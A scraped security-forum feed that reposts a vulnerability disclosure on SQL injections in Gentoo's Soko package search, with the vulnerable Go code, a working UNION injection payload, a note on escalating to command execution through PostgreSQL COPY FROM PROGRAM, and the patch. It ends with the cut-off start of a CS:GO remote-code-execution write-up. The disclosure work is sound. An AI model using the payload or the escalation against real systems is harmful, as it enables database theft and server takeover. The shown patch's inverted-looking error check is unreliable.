[20/Feb/2024:17:18:37 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
</p>

<p>
	 
</p>

<p>
	Momentan imi este inchis pc-ul de tot, aveti idee ce s-a incercat? mentionez ca nu este securitate deloc setata de mine inafara de faptul ca fisierele cstrike sunt setate sa nu poate fi modificate ci doar descarcate.
</p>

<p>
	OS W10 64bit cu update-urile aproape la zi,antivirus avast, fara firewall pe router, firewall din windows
</p>

<p>
	Este posibil sa imi fie inchis pc-ul asa la misto? mi-e cam greu sa cred ca ar face asta o persoana din china, dupa mintea mea l-ar vrea deschis sa-si faca mersu
</p>

<p>
	Multumesc
</p>
]]></description><guid isPermaLink="false">119182</guid><pubDate>Sun, 25 Feb 2024 20:01:15 +0000</pubDate></item><item><title>Why ORMs and Prepared Statements Can't (Always) Win</title><link>https://rstforums.com/forum/topic/118637-why-orms-and-prepared-statements-cant-always-win/</link><description><![CDATA[
	<div>
		<div>
			<h1>
				Why ORMs and Prepared Statements Can't (Always) Win
			</h1>
		</div>

		<div>
			<div>
				
					<div>
						<div>
							
						</div>

						<div>
							 
						</div>
						<img alt="b0f43e1e-d67e-4bcf-a90c-0a1908c2b772_Tho" srcset="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/ddfcf9fd-16c2-4f57-8922-4198a01b5c2a/b0f43e1e-d67e-4bcf-a90c-0a1908c2b772_Thomas_Chauchefoin.jpg?w=200&amp;h=200&amp;auto=format&amp;fit=crop 200w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/ddfcf9fd-16c2-4f57-8922-4198a01b5c2a/b0f43e1e-d67e-4bcf-a90c-0a1908c2b772_Thomas_Chauchefoin.jpg?w=400&amp;h=400&amp;auto=format&amp;fit=crop 400w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/ddfcf9fd-16c2-4f57-8922-4198a01b5c2a/b0f43e1e-d67e-4bcf-a90c-0a1908c2b772_Thomas_Chauchefoin.jpg?w=800&amp;h=800&amp;auto=format&amp;fit=crop 800w" src="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/ddfcf9fd-16c2-4f57-8922-4198a01b5c2a/b0f43e1e-d67e-4bcf-a90c-0a1908c2b772_Thomas_Chauchefoin.jpg?w=800&amp;h=800&amp;auto=format&amp;fit=crop" />
					</div>
				

				<div>
					<p>
						Thomas Chauchefoin
					</p>

					<p>
						VULNERABILITY RESEARCHER
					</p>
				</div>
			</div>

			<div>
				June 27, 2023

				<p>
					8 MIN READ
				</p>
			</div>
		</div>

		<ul>
			<li>
				<a href="https://www.sonarsource.com/blog/tag/security/" rel="external nofollow">Security</a>
			</li>
		</ul>
	</div>

	<div>
		<div>
			
				<div>
					<div>
						
					</div>

					<div>
						 
					</div>
					<img alt="why-orms-and-prepared-statements-cant-wi" data-ratio="62.80" srcset="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/c51b3247-f51d-456c-a029-bcdc060acd33/why-orms-and-prepared-statements-cant-win_blog-index.webp?w=300&amp;h=157&amp;auto=format&amp;fit=crop 300w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/c51b3247-f51d-456c-a029-bcdc060acd33/why-orms-and-prepared-statements-cant-win_blog-index.webp?w=600&amp;h=314&amp;auto=format&amp;fit=crop 600w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/c51b3247-f51d-456c-a029-bcdc060acd33/why-orms-and-prepared-statements-cant-win_blog-index.webp?w=1200&amp;h=628&amp;auto=format&amp;fit=crop 1200w" src="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/c51b3247-f51d-456c-a029-bcdc060acd33/why-orms-and-prepared-statements-cant-win_blog-index.webp?w=1200&amp;h=628&amp;auto=format&amp;fit=crop" />
				</div>
			
		</div>
	</div>



	<div>
		<div>
			
				
					<div>
						<div>
							<h2>
								Key Information
							</h2>

							<ul>
								<li>
									The <a href="https://twitter.com/sonar_research" title="Sonar Research" rel="external nofollow">Sonar Research</a> team discovered several SQL injection vulnerabilities in Soko, a software deployed on the Gentoo Linux infrastructure.
								</li>
								<li>
									These SQL injections happened despite the use of an Object-Relational Mapping (ORM) library and prepared statements.
								</li>
								<li>
									We demonstrated that these code vulnerabilities lead to Remote Code Execution (RCE) on Soko because of a misconfiguration of the database.
								</li>
								<li>
									Thanks to the isolation of Soko software components from other services and how the Portage package manager works, users of Gentoo Linux were not at risk of supply-chain attacks. 
								</li>
							</ul>

							<h2>
								Introduction
							</h2>

							<p>
								We were told to use ORMs and prepared statements to avoid SQL injections for a long time now. By doing so, we effectively separate instructions (the semantics of the SQL query) from the data. Modern languages and frameworks often also abstract away the need to write raw queries, offering high-level interfaces around our database models. Unfortunately, that's not enough to thwart away SQL injections once and for all, as these APIs can still present subtle bugs or nuances in their design. 
							</p>

							<p>
								 
							</p>

							<p>
								In this blog post, we show you how the misuse of a Golang ORM API introduced several SQL injections in Soko, a service deployed on the Gentoo Linux infrastructure. Then, we look further into assessing the impact of this vulnerability by using a PostgreSQL feature to execute arbitrary commands on the server.
							</p>

							<p>
								 
							</p>

							<p>
								These vulnerabilities, tracked as CVE-2023-28424, were discovered and reproduced in a testing environment. They were later responsibly disclosed to Gentoo Linux maintainers, who deployed fixes within 24 hours. Because this service only displays information about existing Portage packages, it was not possible to perform a supply chain attack and users of Gentoo Linux were never at risk. While the server hosts several services, affected components are isolated in Docker containers, and the risk of lateral movement from attackers is limited. 
							</p>

							<p>
								 
							</p>

							<p>
								Nonetheless, there are some key learnings from these vulnerabilities that we would like to share in this blog post. 
							</p>

							<p>
								 
							</p>

							<p>
								If you run Soko on your infrastructure, you should upgrade it to Soko 1.0.3 or above. 
							</p>

							<h2>
								Technical Details
							</h2>

							<h3>
								What's Soko?
							</h3>

							<p>
								Soko is the Go software behind <a href="https://packages.gentoo.org/" title="https://packages.gentoo.org/" rel="external nofollow">https://packages.gentoo.org/</a>, a public interface showing information about published Portage packages that you can install on Gentoo Linux. Portage is the go-to package management tool for this distribution and takes care of resolving and building all required dependencies.
							</p>

							<p>
								 
							</p>

							<p>
								Soko offers a very convenient way to search through all of these packages and easily get information like the associated bug tracker or where the upstream source is. Again, packages are not downloaded from Soko but directly from upstream.
							</p>

							<h3>
								The Search Feature
							</h3>

							<p>
								Soko is built to let users search through packages–that's its sole job and means that the code of this feature is the most interesting to review with our security hat on. Indeed, it has to assemble a SQL query based on many parameters that may or may not be part of the request. 
							</p>

							<p>
								 
							</p>

							<p>
								ORMs have query builders that introduce a very welcome abstraction layer so developers don't have to hand-write SQL queries; Soko's use of <a href="https://github.com/go-pg/pg" title="go-pg" rel="external nofollow">go-pg</a> makes it very expressive and easy to follow.
							</p>

							<p>
								  
							</p>

							<p>
								For instance, if you want to select a record of a given database model whose title is prefixed with my using go-pg, this is what you would write (example taken from <a href="https://pg.uptrace.dev/queries/" title="their documentation" rel="external nofollow">their documentation</a><span class="ipsEmoji">?</span>
							</p>

							
								<pre>err := db.Model(book).
    Where("id &gt; ?", 100).
    Where("title LIKE ?", "my%").
    Limit(1).
    Select()</pre>
							

							<p>
								Notice the presence of query placeholders–the question marks–in the Where() clauses. They are replaced with the associated parameters at runtime after escaping them for the right context. Indeed, a string and a column name are specified differently in SQL, and the ORM must escape them accordingly. That also means that the first parameter should always be a constant string: otherwise, that means that we're probably circumventing the escaping feature and could introduce SQL injections.
							</p>

							<h3>
								Finding (Un)prepared Statements
							</h3>

							<p>
								Diving into the implementation of the search feature, we can notice code like this snippet:
							</p>

							
								<pre>searchTerm := getParameterValue("q", r)
searchTerm = strings.ReplaceAll(searchTerm, "*", "")
searchQuery := BuildSearchQuery(searchTerm)

var packages []models.Package
err := database.DBCon.Model(&amp;packages).
Where(searchQuery).
Relation("Versions").
	OrderExpr("name &lt;-&gt; '" + searchTerm + "'").
	Select()</pre>

								
									pkg/app/handler/packages/search.go
								
							

							<p>
								A first thing that should jump to your eyes is the parameter searchTerm, coming from the user's request, being concatenated to the first parameter of the OrderExpr() call. It goes in contradiction with how one should safely use this API. There's probably room for a SQL injection in here! 
							</p>

							<p>
								 
							</p>

							<p>
								Let's look at the implementation of the method BuildSearchQuery(), also using searchTerm as a parameter and passed as the first argument of  Where():
							</p>

							<p>
								 
							</p>

							
								<pre>func BuildSearchQuery(searchString string) string {
	var searchClauses []string
	for _, searchTerm := range strings.Split(searchString, " ") {
		if searchTerm != "" {
			searchClauses = append(searchClauses,
				"( (category % '"+searchTerm+"') OR (name % '"+searchTerm+"') OR (atom % '"+searchTerm+"') OR (maintainers @&gt; '[{\"Name\": \""+searchTerm+"\"}]' OR maintainers @&gt; '[{\"Email\": \""+searchTerm+"\"}]'))")
		}
	}
	return strings.Join(searchClauses, " AND ")
}</pre>

								
									pkg/app/handler/packages/search.go
								
							

							<p>
								We can see that searchTerm is again directly interpolated in the query. When passed as a parameter to Where(), it won't be able to escape its value; it's already in the query. As a result, this function has several SQL injections: one for every use of searchTerm! 
							</p>

							<h3>
								And its GraphQL Sibling? 
							</h3>

							<p>
								Users can also do searches through the GraphQL API to ease integration with external systems and scripts. While most of the code around database models is often automatically generated, features like this require custom code–they are called resolvers. 
							</p>

							<p>
								 
							</p>

							<p>
								GraphQL frameworks have this notion of resolvers that can back types fields: they come in handy when fetching data from a third-party API or running a complex database query. This is very likely that a similar vulnerability would also be present in this code; let's look into it. 
							</p>

							<p>
								 
							</p>

							<p>
								GraphQL resolvers are implemented in pkg/api/graphql/resolvers/resolver.go. In PackageSearch, searchTerm and resultSize come from the GraphQL query parameters. The parameter searchTerm is also unsafely interpolated in an OrderExpr() clause, introducing another SQL injection:
							</p>

							
								<pre>func (r *queryResolver) PackageSearch(ctx context.Context, searchTerm *string, resultSize *int) ([]*models.Package, error) {
// [...]	
	if strings.Contains(*searchTerm, "*") {
		// if the query contains wildcards
		wildcardSearchTerm := strings.ReplaceAll(*searchTerm, "*", "%")
		err = database.DBCon.Model(&amp;gpackages).
			WhereOr("atom LIKE ? ", wildcardSearchTerm).
			WhereOr("name LIKE ? ", wildcardSearchTerm).
Relation("PkgCheckResults").[...].Relation("Outdated").
			OrderExpr("name &lt;-&gt; '" + *searchTerm + "'").
			Limit(limit).
			Select()
	}</pre>

								
									pkg/api/graphql/resolvers/resolver.go
								
							

							<p>
								A similar SQL injection is present in the same method when performing a fuzzy search–we omitted it above for brevity. Check your GraphQL resolvers! 
							</p>

							<h3>
								An Effective SQL Injection
							</h3>

							<p>
								With these potential injections in mind, we can check whether they are exploitable. To first give you some context, the following query is executed when searching for the package foo:
							</p>

							
								<pre>SELECT
    "package"."atom",
    "package"."category",
    "package"."name",
    "package"."longdescription",
    "package"."maintainers",
    "package"."upstream",
    "package"."preceding_commits"
FROM "packages" AS "package"
WHERE
    ((
        (category % 'foo') 
        OR (NAME % 'foo')
        OR (atom % 'foo')
        (
            maintainers @ '[{"Name": "foo"}]'
            OR maintainers @ '[{"Email": "foo"}]'
        )
    )) 
    OR (atom LIKE '%foo%')
ORDER BY NAME    &lt; - &gt; 'foo'</pre>
							

							<p>
								Once a single quote is used in the search, the semantics of the query change which leads to syntax errors. This behavior is easy to confirm with some dynamic testing; our local instance is very useful here. 
							</p>

							<p>
								 
							</p>

							<p>
								By first doing a search that contains a single quote, effectively breaking the syntax of the request, we are welcomed with an error message: Internal Server Error. When we try again with two single quotes, closing the current string and opening a new one so it results in a valid query, the search behaves as intended.
							</p>

							
								<div>
									<div>
										<div>
											<div>
												
											</div>

											<div>
												 
											</div>
											<img alt="A list of search results for xdg'' on Soko." srcset="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/f9f4c28c-844d-44ff-b122-4b28d32a9530/ORMs%20-%201.png?w=752&amp;h=273&amp;auto=format&amp;fit=crop 752w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/f9f4c28c-844d-44ff-b122-4b28d32a9530/ORMs%20-%201.png?w=1504&amp;h=546&amp;auto=format&amp;fit=crop 1504w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/f9f4c28c-844d-44ff-b122-4b28d32a9530/ORMs%20-%201.png?w=3008&amp;h=1092&amp;auto=format&amp;fit=crop 3008w" src="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/f9f4c28c-844d-44ff-b122-4b28d32a9530/ORMs%20-%201.png?w=3008&amp;h=1092&amp;auto=format&amp;fit=crop" />
										</div>
									</div>

									<div>
										
									</div>
								</div>
							

							<p>
								Here are the steps to disclose the PostgreSQL server's version by injecting SQL into the first WHERE clause. Note that most occurrences of foo are injectable, but it's easier to use the first one and ignore the right-most part of the query with a comment.
							</p>

							<ul>
								<li>
									First, a single quote allows breaking out of the string literal,
								</li>
								<li>
									Three closing parentheses to end the WHERE clause,
								</li>
								<li>
									A UNION clause with the same number of columns as the initial SELECT statement and the right types. The PostgreSQL version is placed in the second column so it gets shown in the interface. 
								</li>
								<li>
									A comment (--) to ignore everything else after. 
								</li>
							</ul>

							<p>
								 
							</p>

							<p>
								The payload has to respect several constraints:
							</p>

							<ul>
								<li>
									The character * cannot be used, or the vulnerable code path is not executed. 
								</li>
								<li>
									The payload should not contain spaces, or BuildSearchQuery() emits several Where clauses. Spaces are not mandatory in this case, and they can be replaced by the TAB character (%09).
								</li>
								<li>
									We must pay special care to the column types and the format of JSONB fields to avoid raising errors in PostgreSQL and when the code processes the result of the SQL query. 
								</li>
							</ul>

							<p>
								 
							</p>

							<p>
								We obtain something like foo'))) union all select '1',version()::text,'3','4','[]','{}',7--. The resulting query is shown below; notice that we removed everything after the comment, or it would be too long to display on this page.
							</p>

							
								<pre>SELECT 
    "package"."atom",
    "package"."category", 
    "package"."name", 
    "package"."longdescription", 
    "package"."maintainers", 
    "package"."upstream", 
    "package"."preceding_commits" 
FROM "packages" AS "package" 
WHERE 
(( 
		(category % 'foo')
	))
UNION ALL SELECT '1', version()::text, '3', '4', '[]', '{}', 7 -- </pre>
							

							<p>
								And indeed, when used in the search field, the version of the PostgreSQL server is shown, that's a success! 
							</p>

							
								<div>
									<div>
										<div>
											<div>
												
											</div>

											<div>
												 
											</div>
											<img alt="The PostgreSQL version is displayed on the search page of Soko." srcset="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/864f84ef-2fb7-4269-95a2-de40f1f21c37/ORMS%20-%202.png?w=753&amp;h=186&amp;auto=format&amp;fit=crop 753w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/864f84ef-2fb7-4269-95a2-de40f1f21c37/ORMS%20-%202.png?w=1505&amp;h=371&amp;auto=format&amp;fit=crop 1505w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/864f84ef-2fb7-4269-95a2-de40f1f21c37/ORMS%20-%202.png?w=3010&amp;h=742&amp;auto=format&amp;fit=crop 3010w" src="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/864f84ef-2fb7-4269-95a2-de40f1f21c37/ORMS%20-%202.png?w=3010&amp;h=742&amp;auto=format&amp;fit=crop" />
										</div>
									</div>

									<div>
										
									</div>
								</div>
							

							<h3>
								PostgreSQL Stacked Queries
							</h3>

							<p>
								PostgreSQL supports stacked queries allowing developers to submit several SQL statements by separating them with semicolons. When exploiting a SQL injection and stacking several queries, the interface only displays the results of the first query, but they will all be executed. Attackers are no longer bound to making SELECT statements and can alter records from the database. As you will see in the next section, it also changes the impact of the SQL injection.
							</p>

							<p>
								 
							</p>

							<p>
								It only adds a new minimal constraint on the payload: the semicolon character cannot be used as-is (i.e., not URL-encoded) to avoid running into <a href="https://github.com/golang/go/issues/25192" title="a quirk of the net/url package" rel="external nofollow">a quirk of the net/url package</a>.
							</p>

							<h3>
								PostgreSQL's COPY FROM PROGRAM
							</h3>

							<p>
								PostgreSQL also supports an operation named COPY FROM PROGRAM. This <a href="https://www.postgresql.org/docs/current/sql-copy.html" title="documented feature" rel="external nofollow">documented feature</a> enables the execution of arbitrary commands on the system, usually with the privileges of the user postgres.
							</p>

							<p>
								 
							</p>

							<p>
								This is not a vulnerability in PostgreSQL: the COPY statement is reserved for superusers. Still, attackers equipped with SQL injections are more likely to be able to pivot to another context by executing commands on the server. 
							</p>

							<p>
								 
							</p>

							<p>
								In the case of Soko, this misconfiguration likely comes from the Docker containerization of their database. Because containers are often seen as a security boundary between software components, it's common to let them enjoy elevated privileges. In the official PostgreSQL image, the user set by POSTGRES_USER benefits from superuser privileges:
							</p>

							
								<pre>db:
  image: postgres:12 
  restart: always 
  environment: 
    POSTGRES_USER: ${SOKO_POSTGRES_USER:-root}
    POSTGRES_PASSWORD: ${SOKO_POSTGRES_PASSWORD:-root
    POSTGRES_DB: ${SOKO_POSTGRES_DB:-soko}
  shm_size: 512mb
  volumes: 
    - ${POSTGRES_DATA_PATH:-/var/lib/postgresql/data}:/var/lib/postgresql/data</pre>

								
									docker-compose.yml
								
							

							<p>
								This is a bad security practice and goes against the principle of least privilege; most users of this Docker image are likely impacted by this misconfiguration. 
							</p>

							<p>
								 
							</p>

							<p>
								From here, we can demonstrate the full impact of the SQL injection by executing arbitrary commands in the context of the PostgreSQL container. For instance, running id returns the current user's identity. This method was already extensively documented online and is left as an exercise for the most security-savvy readers!
							</p>

							
								<div>
									<div>
										<div>
											<div>
												
											</div>

											<div>
												 
											</div>
											<img alt="The output of the command id is shown in the interface of Soko." data-ratio="42.90" srcset="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/8085245a-bf8b-48ea-af86-9a789e672d7a/ORMs%20-%203.png?w=753&amp;h=158&amp;auto=format&amp;fit=crop 753w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/8085245a-bf8b-48ea-af86-9a789e672d7a/ORMs%20-%203.png?w=1506&amp;h=316&amp;auto=format&amp;fit=crop 1506w, https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/8085245a-bf8b-48ea-af86-9a789e672d7a/ORMs%20-%203.png?w=3012&amp;h=632&amp;auto=format&amp;fit=crop 3012w" width="1000" src="https://assets-eu-01.kc-usercontent.com/3ef422f5-49f9-0143-92f9-99dff40de6a1/8085245a-bf8b-48ea-af86-9a789e672d7a/ORMs%20-%203.png?w=3012&amp;h=632&amp;auto=format&amp;fit=crop" />
										</div>
									</div>

									<div>
										
									</div>
								</div>
							

							<h3>
								Patch
							</h3>

							<p>
								After responsibly disclosing both findings to the maintainers, Arthur Zamarin promptly addressed them by refactoring query builder calls to follow <a href="https://pg.uptrace.dev/queries/" title="the documentation" rel="external nofollow">the documentation</a>. Because the root cause of all injections is the same, the misuse of the ORM's query builder, we will only document the most interesting change here. You can find the full patches on GitHub: <a href="https://github.com/gentoo/soko/commit/428b119abfc7bc222c1762e9cde0153781c6c1ac" title="428b119" rel="external nofollow">428b119</a> and <a href="https://github.com/gentoo/soko/commit/4fa6e4b619c0362728955b6ec56eab0e0cbf1e23" title="4fa6e4b" rel="external nofollow">4fa6e4b</a>.
							</p>

							<p>
								 
							</p>

							<p>
								If you remember, the method BuildSearchQuery() was a source of vulnerabilities, as it tried to craft a SQL query based on a parameter and returned a string. Because it didn't have access to the query builder object, it had to do it manually with string concatenations. 
							</p>

							<p>
								 
							</p>

							<p>
								This situation is solved by passing the pg.Query object as a parameter and by using its method WhereOr() to build the query. Notice that its first parameter is always a constant string with a query placeholder, so searchTerm gets correctly escaped every time: 
							</p>

							
								<pre>-func BuildSearchQuery(searchString string) string {
-	var searchClauses []string
+func BuildSearchQuery(query *pg.Query, searchString string) *pg.Query {
 	for _, searchTerm := range strings.Split(searchString, " ") {
 		if searchTerm != "" {
-			searchClauses = append(searchClauses,
-				"( (category % '"+searchTerm+"') OR (name % '"+searchTerm+"') OR (atom % '"+searchTerm+"') OR (maintainers @&gt; '[{\"Name\": \""+searchTerm+"\"}]' OR maintainers @&gt; '[{\"Email\": \""+searchTerm+"\"}]'))")
+			marshal, err := json.Marshal(searchTerm)
+			if err == nil {
+				continue
+			}
+			query = query.WhereGroup(func(q *pg.Query) (*pg.Query, error) {
+				return q.WhereOr("category % ?", searchTerm).
+					WhereOr("name % ?", searchTerm).
+					WhereOr("atom % ?", searchTerm).
+					WhereOr("maintainers @&gt; ?", `[{"Name": "`+string(marshal)+`"}]`).
+					WhereOr("maintainers @&gt; ?", `[{"Email": "`+string(marshal)+`"}]`), nil
+			})
 		}
 	}
-	return strings.Join(searchClauses, " AND ")
+	return query
 }</pre>
							

							<p>
								 
							</p>

							<h2>
								Timeline
							</h2>

							
								<div>
									<div>
										<table>
											<tbody>
												<tr>
													<td>
														DATE
													</td>
													<td>
														ACTION
													</td>
												</tr>
												<tr>
													<td>
														2023-03-17
													</td>
													<td>
														We report all issues to the Soko maintainer and security contacts at Gentoo. A patch is submitted on the same day.
													</td>
												</tr>
												<tr>
													<td>
														2023-03-19
													</td>
													<td>
														The GitHub Security Advisories are published (<a href="https://github.com/gentoo/soko/security/advisories/GHSA-45jr-w89p-c843" rel="external nofollow">GHSA-45jr-w89p-c843</a>, <a href="https://github.com/gentoo/soko/security/advisories/GHSA-gc2x-86p3-mxg2" rel="external nofollow">GHSA-gc2x-86p3-mxg2</a>) along with CVE-2023-28424.
													</td>
												</tr>
											</tbody>
										</table>
									</div>
								</div>
							

							<h2>
								Summary
							</h2>

							<p>
								In this publication, we presented a case of how SQL injection can arise despite using a query builder and prepared statements. Conscious developers should be aware of these pitfalls and make sure to understand how ORM APIs are designed to avoid introducing similar code vulnerabilities. 
							</p>

							<p>
								 
							</p>

							<p>
								In general, a common source of vulnerabilities with ORMs happens when there is no reference to the query builder instance in the current context; such cases are usually methods made to avoid code duplication across queries. Developers are then more likely to craft parts of the query manually and introduce SQL injections. 
							</p>

							<p>
								 
							</p>

							<p>
								Additionally, every ORM comes with its own take on API design, and it can be tricky to know about unsafe code patterns at first sight. This is where Go's typing could come in handy at the cost of some flexibility by introducing compile-time safeguards, forcing developers to always separate instructions (the prepared statement) from data (the user's input). 
							</p>

							<p>
								 
							</p>

							<p>
								It is also interesting to note that containerization solutions like Docker bring an isolation layer but shouldn't be considered a security boundary. It is imperative to apply the principle of least privileges even in this context. For this reason, we developed <a href="https://rules.sonarsource.com/docker/RSPEC-6471" title="a rule in our Infrastructure as Code scanner to detect if containers are running with elevated privileges" rel="external nofollow">a rule in our Infrastructure as Code scanner to detect if containers are running with elevated privileges</a>. 
							</p>

							<p>
								 
							</p>

							<p>
								We would like to thank the Gentoo contributors Arthur Zamarin and Sam James for acknowledging our report and deploying a patch to production within 24 hours. Kudos!
							</p>

							<p>
								 
							</p>

							<p>
								Sursa: <a href="https://www.sonarsource.com/blog/why-orms-and-prepared-statements-cant-always-win/" rel="external nofollow">https://www.sonarsource.com/blog/why-orms-and-prepared-statements-cant-always-win/</a>
							</p>
						</div>
					</div>
				
			
		</div>
	</div>

]]></description><guid isPermaLink="false">118637</guid><pubDate>Wed, 28 Jun 2023 09:51:32 +0000</pubDate></item><item><title>CS:GO: From Zero to 0-day</title><link>https://rstforums.com/forum/topic/116747-csgo-from-zero-to-0-day/</link><description><![CDATA[<p>
	<img alt="We identified three independent remote code execution (RCE) vulnerabilities in the popular Counter-Strike: Global Offensive game. Each vulnerability can be triggered when the game client connects to our malicious python CS:GO server. This post details our journey through the CS:GO binary and conducts a technical deep dive into various identified bugs. We conclude by presenting a proof of concept (POC) exploit that leverages four different logic bugs into remote code execution in the game's client, triggered when a client connects to the server." data-ratio="56.22" src="https://neodyme.io/assets/csgo.f41c0e91_1Aeymb.png" />
</p>

<div>
	<p>
		 
	</p>

	<p>
		Authored by:
	</p>

	<ul>
		<li>
			<a href="https://neodyme.io/blog/author/felipe" rel="external nofollow">Felipe</a>
		</li>
		<li>
			<a href="https://neodyme.io/blog/author/alain" rel="external nofollow">Alain</a>
		</li>
	</ul>
</div>

<div>
	<h2>
		TL;DR
	</h2>

	<p>
		We identified three independent remote code execution (RCE) vulnerabilities in the popular Counter-Strike: Global Offensive game. Each vulnerability can be triggered when the game client connects to our malicious python CS:GO server. This post details our journey through the CS:GO binary and conducts a technical deep dive into various identified bugs. We conclude by presenting a proof of concept (POC) exploit that leverages four different logic bugs into remote code execution in the game’s client, triggered when a client connects to the server.
	</p>

	<h2>
		Introduction
	</h2>

	<p>
		The <a href="https://blog.counter-strike.net/index.php/2021/04/33895/" rel="external nofollow">CS:GO patch dated 04/28/2021</a> fixed several critical vulnerabilities, including three critical bugs from us. This post describes our approach and how we discovered three critical vulnerabilities. We present a single bug chain, consisting of four logic bugs, and explain how these led to a remote code execution (RCE) on the client by cleverly combining them. Although the post does explain the four logic vulnerabilities, its focus is on the methodology of our research.
	</p>

	<p>
		 
	</p>

	<p>
		First we look at existing research for the CS:GO game and give a general introduction to make reverse engineering of the complex client less painful. The post then introduces basic concepts of the CS:GO network protocol like fast_dl and Cvars and detail four different logic bugs. Combining the bugs leads to the proof of concept that exploits a CS:GO client by only connecting to a malicous, attacker controlled server.
	</p>

	<h2>
		Table of contents
	</h2>

	<ol>
		<li>
			<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#csgo" rel="external nofollow">CS:GO</a>
		</li>
		<li>
			<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#know-your-target" rel="external nofollow">Know your target</a>
			<ol>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#software-development-kits" rel="external nofollow">Software Development Kits</a>
				</li>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#public-research" rel="external nofollow">Public Research</a>
				</li>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#cheating-communities" rel="external nofollow">Cheating Communities</a>
				</li>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#debug-symbols" rel="external nofollow">Debug Symbols</a>
				</li>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#fuzzing" rel="external nofollow">Fuzzing</a>
				</li>
			</ol>
		</li>
		<li>
			<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#the-discovery-of-four-logic-bugs" rel="external nofollow">The discovery of four logic bugs</a>
			<ol>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#bug-1-execution-of-privileged-commands-from-the-server" rel="external nofollow">Bug 1: Execution of privileged commands from the server</a>
				</li>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#bug-2-arbitrary-file-download-due-to-extension-stripping" rel="external nofollow">Bug 2: Arbitrary file download due to extension stripping</a>
				</li>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#bug-3-arbitrary-text-file-write-in-game-directory" rel="external nofollow">Bug 3: Arbitrary text file write in game directory</a>
				</li>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#bug-4-fallback-to-disabled-signature-checks" rel="external nofollow">Bug 4: Fallback to disabled signature checks</a>
				</li>
			</ol>
		</li>
		<li>
			<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#full-logic-bug-chain" rel="external nofollow">Full logic bug chain</a>
			<ol>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#gameinfotxt" rel="external nofollow">Gameinfo.txt</a>
				</li>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#cvars" rel="external nofollow">CVars</a>
				</li>
				<li>
					<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#exploit-flow" rel="external nofollow">Exploit flow</a>
				</li>
			</ol>
		</li>
		<li>
			<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#video" rel="external nofollow">Video</a>
		</li>
		<li>
			<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#closing-thoughts" rel="external nofollow">Closing Thoughts</a>
		</li>
		<li>
			<a href="https://neodyme.io/blog/csgo_from_zero_to_0day/#timeline" rel="external nofollow">Timeline</a>
		</li>
	</ol>

	<h2>
		CS:GO
	</h2>

	<p>
		The free-to-play game <a href="https://blog.counter-strike.net/" rel="external nofollow">Counter Strike: Global Offensive (CS:GO)</a> continues to experience great popularity with 21 million players per month, not least because of the wide variety of game modes offered by the many <a href="https://www.gametracker.com/search/csgo/DE/" rel="external nofollow">community-hosted servers</a>. The game from 2012 is based on the even older <a href="https://developer.valvesoftware.com/wiki/Source" rel="external nofollow">source engine (2004)</a>, known for games such as <a href="https://en.wikipedia.org/wiki/Portal_(video_game)" rel="external nofollow">Portal</a>, <a href="https://half-life.fandom.com/wiki/Half-Life_2" rel="external nofollow">Half-Life 2</a> and <a href="https://left4dead.fandom.com/wiki/Left_4_Dead" rel="external nofollow">Left 4 Dead</a>. The source engine in turn uses components from its predecessors, <a href="https://developer.valvesoftware.com/wiki/GoldSrc" rel="external nofollow">GoldSrc (1998)</a> and the <a href="https://en.wikipedia.org/wiki/Quake_engine" rel="external nofollow">Quake engine (1996)</a>. This history already indicates that the powerful and complex source engine possesses some components, for which security did not yet stand in the foreground while programming.
	</p>

	<p>
